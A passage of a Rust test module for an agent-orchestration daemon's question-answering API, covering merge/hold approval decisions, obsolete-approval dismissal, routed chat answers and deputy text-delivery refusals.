12648        state.driver_exited = true;
12649        let mut q = Question::new(
12650            state.id.clone(),
12651            crate::land::APPROVAL_NODE.into(),
12652            "land".into(),
12653            "Obsolete approval".into(),
12654            String::new(),
12655            vec!["merge".into(), "hold".into()],
12656        );
12657        state.land_approval = Some(crate::run::LandApproval {
12658            question: q.id.clone(),
12659            head: "head".into(),
12660        });
12661        state.save_under(fx.home.path()).unwrap();
12662        fx.questions().put(&mut q).unwrap();
12663        let mut task = Task::new(
12664            "Owner".into(),
12665            "Original instruction".into(),
12666            state.repo.clone(),
12667            Source::Human,
12668        );
12669        task.runs = vec![state.id.clone(), "later-run".into()];
12670        fx.queue().put(&mut task).unwrap();
12671        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12672        let claim = fx.queue().claim(&task.id).unwrap();
12673        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12674        let path = format!("/api/questions/{}/answer", q.id);
12675        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12676        assert!(fx.questions().get(&q.id).unwrap().status.open());
12677        drop(claim);
12678        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12679        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12680        assert!(fx.questions().get(&q.id).unwrap().status.open());
12681        drop(publication);
12682        // Unknown liveness and armed auto-merge both fail without settling.
12683        state.driver_exited = false;
12684        state.driver_pid = None;
12685        state.driver_claimed = None; // No durable proof of an unstarted execution.
12686        state.save_under(fx.home.path()).unwrap();
12687        assert_eq!(
12688            state.liveness_under(fx.home.path(), false),
12689            crate::run::Liveness::Unknown
12690        );
12691
12692        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12693        state.driver_exited = true;
12694        state.land_armed_head = Some("head".into());
12695        state.save_under(fx.home.path()).unwrap();
12696        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12697        state.land_armed_head = None;
12698        state.save_under(fx.home.path()).unwrap();
12699        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12700        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12701        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12702    }
12703
12704    #[tokio::test]
12705    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12706        let fx = Fixture::start().await;
12707        let mut state = obsolete_approval_state();
12708        state.status = RunStatus::Landing;
12709        state.driver_exited = true;
12710        let mut q = Question::new(
12711            state.id.clone(),
12712            crate::land::APPROVAL_NODE.into(),
12713            "land".into(),
12714            "Obsolete approval".into(),
12715            String::new(),
12716            vec!["merge".into(), "hold".into()],
12717        );
12718        state.land_approval = Some(crate::run::LandApproval {
12719            question: q.id.clone(),
12720            head: "head".into(),
12721        });
12722        state.save_under(fx.home.path()).unwrap();
12723        fx.questions().put(&mut q).unwrap();
12724        let mut task = Task::new(
12725            "Owner".into(),
12726            "Original instruction".into(),
12727            state.repo.clone(),
12728            Source::Human,
12729        );
12730        task.runs.push(state.id.clone());
12731        task.status = TaskStatus::Parked;
12732        fx.queue().put(&mut task).unwrap();
12733        // Model a crash after the run stop was persisted but before the queue
12734        // and answered question were flushed. Retrying must finish, not resume.
12735        state.merge_decision = Some(crate::merge_decision::Decision {
12736            question: q.id.clone(),
12737            target: crate::merge_decision::Target {
12738                pr: state.pr.as_ref().unwrap().url.clone(),
12739                head: "head".into(),
12740                language: "ja".into(),
12741            },
12742            choice: crate::merge_decision::DISMISS.into(),
12743            closed: false,
12744            replacement_run: None,
12745            replacement_pr: None,
12746        });
12747        state.status = RunStatus::Superseded;
12748        state.save_under(fx.home.path()).unwrap();
12749        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12750        let path = format!("/api/questions/{}/answer", q.id);
12751        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12752        let done = fx.queue().get(&task.id).unwrap();
12753        assert_eq!(done.status, TaskStatus::Done);
12754        assert_eq!(done.runs, task.runs);
12755        assert_eq!(done.instruction, task.instruction);
12756        assert!(done.action_applied(&q.id));
12757        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12758        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12759        assert!(!fx.questions().get(&q.id).unwrap().status.open());
12760    }
12761
12762    #[tokio::test]
12763    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12764        let home = TempDir::new().unwrap();
12765        let ui = Arc::new(Ui::new(
12766            Queue::at(home.path().join("queue")),
12767            Questions::at(home.path().join("questions")),
12768            Talks::at(home.path().join("talks")),
12769            home.path().join("runs"),
12770            home.path().to_owned(),
12771            home.path().to_owned(),
12772        ));
12773        let talks = &ui.talks;
12774        let chat =
12775            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12776        let mut q = Question::new(
12777            "run".into(),
12778            crate::land::APPROVAL_NODE.into(),
12779            "land".into(),
12780            "Merge?".into(),
12781            String::new(),
12782            vec!["merge".into(), "hold".into()],
12783        );
12784        q.routed_task = Some("task".into());
12785        q.routed_chat = Some(chat.id.clone());
12786        q.merge_target = Some(crate::merge_decision::Target {
12787            pr: "https://example.test/pull/1".into(),
12788            head: "head-a".into(),
12789            language: "en".into(),
12790        });
12791        ui.questions.put(&mut q).unwrap();
12792        let send = |body| {
12793            question_answer(
12794                State(ui.clone()),
12795                Path(q.id.clone()),
12796                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12797            )
12798        };
12799        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12800        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12801        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12802        assert!(send(wrong_chat).await.is_err());
12803        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12804        assert!(send(stale).await.is_err());
12805        assert!(ui.questions.get(&q.id).unwrap().status.open());
12806        assert!(send(button.clone()).await.is_ok());
12807        assert_eq!(
12808            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12809            Some("merge")
12810        );
12811        assert!(send(button).await.is_err());
12812    }
12813
12814    #[tokio::test]
12815    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12816        let home = TempDir::new().unwrap();
12817        let ui = Arc::new(Ui::new(
12818            Queue::at(home.path().join("queue")),
12819            Questions::at(home.path().join("questions")),
12820            Talks::at(home.path().join("talks")),
12821            home.path().join("runs"),
12822            home.path().to_owned(),
12823            home.path().to_owned(),
12824        ));
12825        for choice in [crate::land::APPROVE, crate::land::HOLD] {
12826            let mut q = Question::new(
12827                "run".into(),
12828                crate::land::APPROVAL_NODE.into(),
12829                "land".into(),
12830                "Merge?".into(),
12831                String::new(),
12832                vec!["merge".into(), choice.into()],
12833            );
12834            q.routed_task = Some("task".into());
12835            q.merge_target = Some(crate::merge_decision::Target {
12836                pr: "https://example.test/pull/1".into(),
12837                head: "head-a".into(),
12838                language: "en".into(),
12839            });
12840            ui.questions.put(&mut q).unwrap();
12841            let answer = |c: &str| {
12842                question_answer(
12843                    State(ui.clone()),
12844                    Path(q.id.clone()),
12845                    Ok(Json(
12846                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12847                            .unwrap(),
12848                    )),
12849                )
12850            };
12851            let _ = answer(choice).await.unwrap();
12852            assert_eq!(
12853                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12854                Some(choice)
12855            );
12856        }
12857    }
12858
12859    #[tokio::test]
12860    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12861        let home = TempDir::new().unwrap();
12862        let ui = Arc::new(Ui::new(
12863            Queue::at(home.path().join("queue")),
12864            Questions::at(home.path().join("questions")),
12865            Talks::at(home.path().join("talks")),
12866            home.path().join("runs"),
12867            home.path().to_owned(),
12868            home.path().to_owned(),
12869        ));
12870        let mut q = Question::new(
12871            "run".into(),
12872            crate::github_text::ASK_NODE.into(),
12873            "posting-gate".into(),
12874            "Post?".into(),
12875            String::new(),
12876            vec!["use fallback".into()],
12877        );
12878        q.routed_task = Some("task".into());
12879        ui.questions.put(&mut q).unwrap();
12880        let sent = question_answer(
12881            State(ui.clone()),
12882            Path(q.id.clone()),
12883            Ok(Json(
12884                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12885                    .unwrap(),
12886            )),
12887        )
12888        .await;
12889        let _ = sent.unwrap();
12890        assert_eq!(
12891            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12892            Some("use fallback")
12893        );
12894    }
12895
12896    #[tokio::test]
12897    async fn merge_decision_api_persists_exact_target_and_selected_action() {
12898        let fx = Fixture {
12899            home: TempDir::new().unwrap(),
12900            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12901        };
12902        for choice in [
12903            crate::land::HOLD,
12904            crate::land::REPAIR,
12905            crate::land::APPROVE,
12906            crate::merge_decision::WITHDRAW,
12907            "reimplement:beta",
12908        ] {
12909            let mut q = Question::new(
12910                "old-run".into(),
12911                crate::land::APPROVAL_NODE.into(),
12912                "land".into(),
12913                "Decision".into(),
12914                "Review findings".into(),
12915                vec![
12916                    "merge".into(),
12917                    "hold".into(),
12918                    crate::land::REPAIR.into(),
12919                    crate::merge_decision::WITHDRAW.into(),
12920                    "reimplement:beta".into(),
12921                ],
12922            );
12923            q.merge_target = Some(crate::merge_decision::Target {
12924                pr: "https://github.com/example/repo/pull/42".into(),
12925                head: "exact-reviewed-head".into(),
12926                language: "ja".into(),
12927            });
12928            q.consult = Some(ask::ChatConsult {
12929                talk: "another-conversation".into(),
12930                at: jiff::Timestamp::now(),
12931            });
12932            fx.questions().put(&mut q).unwrap();
12933            let ui = Arc::new(Ui::new(
12934                fx.queue(),
12935                fx.questions(),
12936                fx.talks(),
12937                fx.runs(),
12938                fx.home.path().into(),
12939                std::path::PathBuf::from("."),
12940            ));
12941            let response = question_answer(
12942                State(ui.clone()),
12943                Path(q.id.clone()),
12944                Ok(Json(NewAnswer {
12945                    choice: Some(choice.into()),
12946                    text: None,
12947                    ..Default::default()
12948                })),
12949            )
12950            .await
12951            .unwrap();
12952            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12953            let disk = fx.questions().get(&q.id).unwrap();
12954            assert_eq!(disk.merge_target, q.merge_target);
12955            assert_eq!(disk.consult, q.consult);
12956            assert_eq!(disk.resolution().as_deref(), Some(choice));
12957            assert!(
12958                question_answer(
12959                    State(ui),
12960                    Path(q.id.clone()),
12961                    Ok(Json(NewAnswer {
12962                        choice: Some("merge".into()),
12963                        text: None,
12964                        ..Default::default()
12965                    }))
12966                )
12967                .await
12968                .is_err(),
12969                "an already settled decision cannot turn into merge approval"
12970            );
12971        }
12972    }
12973
12974    #[tokio::test]
12975    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12976        let fx = Fixture {
12977            home: TempDir::new().unwrap(),
12978            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12979        };
12980        let mut state = crate::land::tests::repair_state(true, true);
12981        state.status = RunStatus::Landing;
12982        state.parked = true;
12983        state.driver_exited = true;
12984        let mut task = Task::new(
12985            "Existing PR owner".into(),
12986            state.instruction.clone(),
12987            state.repo.clone(),
12988            Source::Human,
12989        );
12990        task.runs.push(state.id.clone());
12991        task.status = TaskStatus::Parked;
12992        fx.queue().put(&mut task).unwrap();
12993        let mut q = Question::new(
12994            state.id.clone(),
12995            crate::land::APPROVAL_NODE.into(),
12996            "land".into(),
12997            "Contested merge".into(),
12998            "Original evidence".into(),
12999            vec!["merge".into(), "hold".into()],
13000        );
13001        state.land_approval = Some(crate::run::LandApproval {
13002            question: q.id.clone(),
13003            head: "reviewed-head".into(),
13004        });
13005        state.save_under(fx.home.path()).unwrap();
13006        fx.questions().put(&mut q).unwrap();
13007        // A later repair answer on this old card supersedes this manual hold.
13008        task.hold_manual(Some("Pause this PR".into()));
13009        fx.queue().put(&mut task).unwrap();
13010        // POST directly, without a preceding GET: validation must see the
13011        // same durable upgrade that the card, CLI and chat see.
13012        let ui = Arc::new(Ui::new(
13013            fx.queue(),
13014            fx.questions(),
13015            fx.talks(),
13016            fx.runs(),
13017            fx.home.path().to_path_buf(),
13018            state.repo.clone(),
13019        ));
13020        let response = question_answer(
13021            State(ui),
13022            Path(q.id.clone()),
13023            Ok(Json(NewAnswer {
13024                choice: Some(crate::land::REPAIR.into()),
13025                text: None,
13026                ..Default::default()
13027            })),
13028        )
13029        .await
13030        .unwrap();
13031        assert_eq!(response.0.question.id, q.id);
13032        let upgraded = fx.questions().get(&q.id).unwrap();
13033        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13034        assert!(upgraded.detail.starts_with("Original evidence"));
13035        let claim = fx.queue().claim(&task.id).unwrap();
13036        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13037        assert!(
13038            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13039            "an existing driver keeps its claim"
13040        );
13041        drop(claim);
13042        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13043        let resumed = fx.queue().get(&task.id).unwrap();
13044        assert_eq!(
13045            resumed
13046                .resume_override
13047                .as_ref()
13048                .unwrap()
13049                .pinned_run
13050                .as_deref(),
13051            Some(state.id.as_str())
13052        );
13053        assert!(resumed.status.runnable());
13054        assert_eq!(resumed.instruction, task.instruction);
13055        assert_eq!(resumed.runs, task.runs);
13056        assert!(resumed.action_applied(&q.id));
13057        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13058        assert_eq!(fx.queue().list().len(), 1);
13059        assert_eq!(
13060            fx.queue().get(&task.id).unwrap().resume_override,
13061            resumed.resume_override
13062        );
13063        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13064        assert!(
13065            disk.merge_repairs.is_empty(),
13066            "only the claimed run driver may execute repair"
13067        );
13068        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13069    }
13070
13071    #[tokio::test]
13072    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13073        let fx = Fixture::start().await;
13074        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13075        let path = format!("/api/questions/{id}/answer");
13076
13077        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13078        assert_eq!(res.status, 200, "{}", res.body);
13079        let body = res.json();
13080        assert_eq!(body["status"], "answered");
13081        assert_eq!(body["answer"]["choice"], "Redis");
13082
13083        // Answered from the terminal in between the list and the tap: the UI
13084        // must be able to tell this from a bad request, so it can show the
13085        // recorded answer instead of an error.
13086        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13087        assert_eq!(again.status, 409, "{}", again.body);
13088        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13089    }
13090
13091    #[tokio::test]
13092    async fn fresh_api_answers_survive_task_inquiry_migration() {
13093        use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13094        for migrate_first in [false, true] {
13095            let fx = Fixture::start().await;
13096            let mut task = Task::new(
13097                "work".into(),
13098                "work".into(),
13099                PathBuf::from("/repo/magi"),
13100                Source::Human,
13101            );
13102            task.runs.push("run-a".into());
13103            fx.queue().put(&mut task).unwrap();
13104            let mut q = Question::new(
13105                "run-a".into(),
13106                "implement".into(),
13107                "impl-A".into(),
13108                "Keep held?".into(),
13109                String::new(),
13110                vec!["hold".into()],
13111            );
13112            q.actions.insert("hold".into(), ChoiceAction::Hold);
13113            fx.questions().put(&mut q).unwrap();
13114            if migrate_first {
13115                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13116            }
13117            let response = fx
13118                .post(
13119                    &format!("/api/questions/{}/answer", q.id),
13120                    Some(r#"{"choice":"hold"}"#),
13121                )
13122                .await;
13123            assert_eq!(response.status, 200, "{}", response.body);
13124            for _ in 0..2 {
13125                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13126                let source = fx.questions().get(&q.id).unwrap();
13127                assert_eq!(source.resolution().as_deref(), Some("hold"));
13128                let decision = Outbox::at(fx.home.path())
13129                    .get(&q.id)
13130                    .unwrap()
13131                    .decision
13132                    .unwrap();
13133                assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13134                assert_eq!(decision.source_answer_at, source.answered_at);
13135                assert_eq!(decision.status, Status::Queued);
13136            }
13137            assert_eq!(
13138                fx.post(
13139                    &format!("/api/questions/{}/answer", q.id),
13140                    Some(r#"{"choice":"hold"}"#)
13141                )
13142                .await
13143                .status,
13144                409
13145            );
13146        }
13147    }
13148
13149    #[tokio::test]
13150    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13151        let home = tempfile::tempdir().unwrap();
13152        let ui = delta_test_ui(home.path());
13153        let mut q = Question::new(
13154            "task".into(),
13155            crate::land::APPROVAL_NODE.into(),
13156            "land".into(),
13157            "Explain?".into(),
13158            String::new(),
13159            vec!["hold".into()],
13160        );
13161        q.deputy = Some(ask::Deputy::new("context".into()));
13162        ui.questions.put(&mut q).unwrap();
13163        let mut cfg = stub_config();
13164        cfg.daemon.max_deputies = 0;
13165        let mut status = crate::daemon::Status::new();
13166        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13167        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13168        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13169        let error = question_say(
13170            State(ui.clone()),
13171            Path(q.id.clone()),
13172            Ok(Json(NewSay {
13173                body: "Explain the findings".into(),
13174            })),
13175        )
13176        .await
13177        .unwrap_err();
13178        assert_eq!(
13179            error.text_reason,
13180            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13181        );
13182        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13183
13184        let mut text = Question::new(
13185            "task".into(),
13186            "ask".into(),
13187            "operator".into(),
13188            "Which name?".into(),
13189            String::new(),
13190            vec![],
13191        );
13192        ui.questions.put(&mut text).unwrap();
13193        let Json(view) = question_answer(
13194            State(ui.clone()),
13195            Path(text.id.clone()),
13196            Ok(Json(NewAnswer {
13197                choice: None,
13198                text: Some("chosen name".into()),
13199                ..Default::default()
13200            })),
13201        )
13202        .await
13203        .unwrap();
13204        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13205        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13206    }
13207
13208    #[tokio::test]
13209    async fn question_text_handler_admission_without_transport() {
13210        let home = tempfile::tempdir().unwrap();
13211        let ui = delta_test_ui(home.path());
13212        let mut q = Question::new(
13213            "task".into(),
13214            crate::land::APPROVAL_NODE.into(),
13215            "land".into(),
13216            "May this PR merge?".into(),
13217            String::new(),
13218            vec!["hold".into()],
13219        );
13220        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13221        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13222        ui.questions.put(&mut q).unwrap();
13223        let say = || {
13224            Ok(Json(NewSay {
13225                body: "Explain the findings".into(),
13226            }))
13227        };
13228        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13229            .await
13230            .unwrap_err();
13231        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13232        let response = rejected.into_response();
13233        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13234            .await
13235            .unwrap();
13236        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13237        assert_eq!(body["code"], "question_text_unavailable");
13238        assert_eq!(body["reason"], "deputy_exhausted");
13239        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13240        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13241        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13242        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13243            .await
13244            .unwrap();
13245        assert_eq!(view.text_delivery.state, "live");
13246        assert!(view.question.waiter.is_none());
13247        assert!(view.question.cwd.is_none());
13248        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13249        ui.questions.drop_lease(&q.id);
13250        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13251            .await
13252            .unwrap_err();
13253        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13254        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13255        let _ = question_answer(
13256            State(ui.clone()),
13257            Path(q.id.clone()),
13258            Ok(Json(NewAnswer {
13259                choice: Some("hold".into()),
13260                text: None,
13261                ..Default::default()
13262            })),
13263        )
13264        .await
13265        .unwrap();
13266        assert_eq!(
13267            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13268            Some("hold")
13269        );
13270    }
13271
13272    #[tokio::test]
13273    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13274        let fx = Fixture::start().await;
13275        let store = fx.questions();
13276        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13277        store
13278            .update(&id, |q| {
13279                q.node = crate::land::APPROVAL_NODE.to_owned();
13280                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13281                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13282                Ok(())
13283            })
13284            .unwrap();
13285        let path = format!("/api/questions/{id}/say");
13286        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13287        assert_eq!(refused.status, 422, "{}", refused.body);
13288        assert!(
13289            refused.json()["error"]
13290                .as_str()
13291                .unwrap()
13292                .contains("deputy_exhausted")
13293        );
13294        assert!(store.get(&id).unwrap().thread.is_empty());
13295
13296        // A final live deputy is usable even with no ordinary waiter/cwd.
13297        store.beat(&id, ask::WaiterKind::Deputy);
13298        let view = fx.get("/api/questions").await.json();
13299        assert_eq!(view[0]["text_delivery"]["state"], "live");
13300        let accepted = fx
13301            .post(&path, Some(r#"{"body":"explain the findings"}"#))
13302            .await;
13303        assert_eq!(accepted.status, 200, "{}", accepted.body);
13304        let before = std::fs::read(store.path_of(&id)).unwrap();
13305
13306        // The recipient exits between rendering and sending. Rejection must
13307        // preserve previously accepted text, the answer and delivery cursor.
13308        store.drop_lease(&id);
13309        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13310        assert_eq!(refused.status, 422, "{}", refused.body);
13311        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13312        let held = fx
13313            .post(
13314                &format!("/api/questions/{id}/answer"),
13315                Some(r#"{"choice":"hold"}"#),
13316            )
13317            .await;
13318        assert_eq!(held.status, 200, "{}", held.body);
13319        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13320    }
13321
13322    #[tokio::test]
13323    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13324        let repo = tempfile::tempdir().unwrap();
13325        let mut cfg = stub_config();
13326        cfg.daemon.max_deputies = 0;
13327        std::fs::write(
13328            repo.path().join("magi.toml"),
13329            toml::to_string(&cfg).unwrap(),
13330        )
13331        .unwrap();
13332        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13333        let mut status = crate::daemon::Status::new();
13334        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13335        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13336        let id = ask(&fx, "Explain?", &["hold"]);
13337        fx.questions()
13338            .update(&id, |q| {
13339                q.node = crate::land::APPROVAL_NODE.into();
13340                q.deputy = Some(ask::Deputy::new("context".into()));
13341                q.deputy.as_mut().unwrap().agent = "stub".into();
13342                Ok(())
13343            })
13344            .unwrap();
13345        cfg.daemon.max_deputies = 1;
13346        std::fs::write(
13347            repo.path().join("magi.toml"),
13348            toml::to_string(&cfg).unwrap(),
13349        )
13350        .unwrap();
13351        let view = fx.get("/api/questions").await.json();
13352        assert_eq!(view[0]["deputies_enabled"], true);
13353        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13354        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13355        let res = fx
13356            .post(
13357                &format!("/api/questions/{id}/say"),
13358                Some(r#"{"body":"Please explain"}"#),
13359            )
13360            .await;
13361        assert_eq!(res.status, 422, "{}", res.body);
13362        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13363    }
13364
13365    #[tokio::test]
13366    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13367        let fx = Fixture::start().await;
13368        let id = ask(&fx, "No seat", &[]);
13369        let store = fx.questions();
13370        let before = std::fs::read(store.path_of(&id)).unwrap();
13371        let res = fx
13372            .post(
13373                &format!("/api/questions/{id}/say"),
13374                Some(r#"{"body":"hello"}"#),
13375            )
13376            .await;
13377        assert_eq!(res.status, 422, "{}", res.body);
13378        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13379        let res = fx
13380            .post(
13381                &format!("/api/questions/{id}/answer"),
13382                Some(r#"{"text":"hello"}"#),
13383            )
13384            .await;
13385        assert_eq!(res.status, 200, "{}", res.body);
13386        assert_eq!(
13387            store.get(&id).unwrap().resolution().as_deref(),
13388            Some("hello")
13389        );
13390    }
13391
13392    #[tokio::test]
13393    async fn saying_something_appends_a_turn_without_answering() {
13394        let fx = Fixture::start().await;
13395        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13396        fx.questions().beat(&id, ask::WaiterKind::Asker);
13397        let path = format!("/api/questions/{id}/say");
13398
13399        let res = fx
13400            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13401            .await;
13402        assert_eq!(res.status, 200, "{}", res.body);
13403        let body = res.json();
13404        assert_eq!(body["status"], "open", "talking back is not a decision");
13405        assert_eq!(body["answer"], Value::Null);
13406        assert_eq!(body["thread"][0]["who"], "operator");
13407        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13408        assert_eq!(body["waiting_on_agent"], true);
13409        // Still open, still counted, still exactly one question.
13410        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13411    }
13412
13413    #[tokio::test]
13414    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13415        let fx = Fixture::start().await;
13416        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13417
13418        let list = fx.get("/api/questions").await.json();
13419        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13420
13421        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13422        assert_eq!(res.status, 409, "{}", res.body);
13423        let q = fx.questions().get(&id).unwrap();
13424        assert!(q.status.open());
13425        assert!(q.consult.is_none());
13426    }
13427
13428    #[tokio::test]
13429    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13430        let fx = Fixture::start().await;
13431        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13432        let cfg = Config {
13433            agents: vec![crate::config::AgentSpec {
13434                id: "mock".to_owned(),
13435                kind: crate::config::AgentKind::Command,
13436                model: None,
13437                command: vec!["true".to_owned()],
13438                extra_args: Vec::new(),
13439                env: Default::default(),
13440                prompt_delivery: None,
13441                max_turn_secs: None,
13442            }],
13443            ..Config::default()
13444        };
13445        let talk = crate::talk::begin(
13446            &fx.talks(),
13447            &cfg,
13448            fx.home.path().to_path_buf(),
13449            Some("mock"),
13450        )
13451        .unwrap();
13452        let mut task = Task::new(
13453            "t".to_owned(),
13454            "Do it".to_owned(),
13455            PathBuf::from("/repo/magi"),
13456            Source::Agent {
13457                run: talk.id.clone(),
13458                node: crate::queue::CHAT_NODE.to_owned(),
13459            },
13460        );
13461        task.start("20260902-000000-beef".to_owned());
13462        fx.queue().put(&mut task).unwrap();
13463
13464        let list = fx.get("/api/questions").await.json();
13465        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13466        assert_eq!(
13467            list[0]["choices"],
13468            serde_json::json!(["SQLite", "Redis"]),
13469            "the hand-over is never a choice"
13470        );
13471        fx.questions()
13472            .update(&id, |q| {
13473                q.node = crate::land::APPROVAL_NODE.into();
13474                q.choices = vec!["merge".into(), "hold".into()];
13475                Ok(())
13476            })
13477            .unwrap();
13478        let list = fx.get("/api/questions").await.json();
13479        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13480        assert_eq!(list[0]["can_consult_chat"], true);
13481        fx.questions()
13482            .update(&id, |q| {
13483                q.node = crate::bump::NOTICE_NODE.into();
13484                Ok(())
13485            })
13486            .unwrap();
13487        let list = fx.get("/api/questions").await.json();
13488        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13489        assert_eq!(list[0]["can_consult_chat"], false);
13490    }
13491
13492    #[tokio::test]
13493    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13494        let fx = Fixture::start().await;
13495        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13496        fx.questions()
13497            .update(&id, |q| {
13498                q.node = crate::land::APPROVAL_NODE.into();
13499                q.choices = vec!["merge".into(), "hold".into()];
13500                Ok(())
13501            })
13502            .unwrap();
13503        let cfg = Config {
13504            agents: vec![crate::config::AgentSpec {
13505                id: "mock".to_owned(),
13506                kind: crate::config::AgentKind::Command,
13507                model: None,
13508                command: vec!["true".to_owned()],
13509                extra_args: Vec::new(),
13510                env: Default::default(),
13511                prompt_delivery: None,
13512                max_turn_secs: None,
13513            }],
13514            ..Config::default()
13515        };
13516        // Not a git working tree, so its `magi.toml` is read from disk.
13517        let repo = fx.home.path().join("chat-repo");
13518        std::fs::create_dir_all(&repo).unwrap();
13519        let toml = repo.join("magi.toml");
13520        std::fs::write(&toml, "this is = = not toml").unwrap();
13521        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13522        let mut task = Task::new(
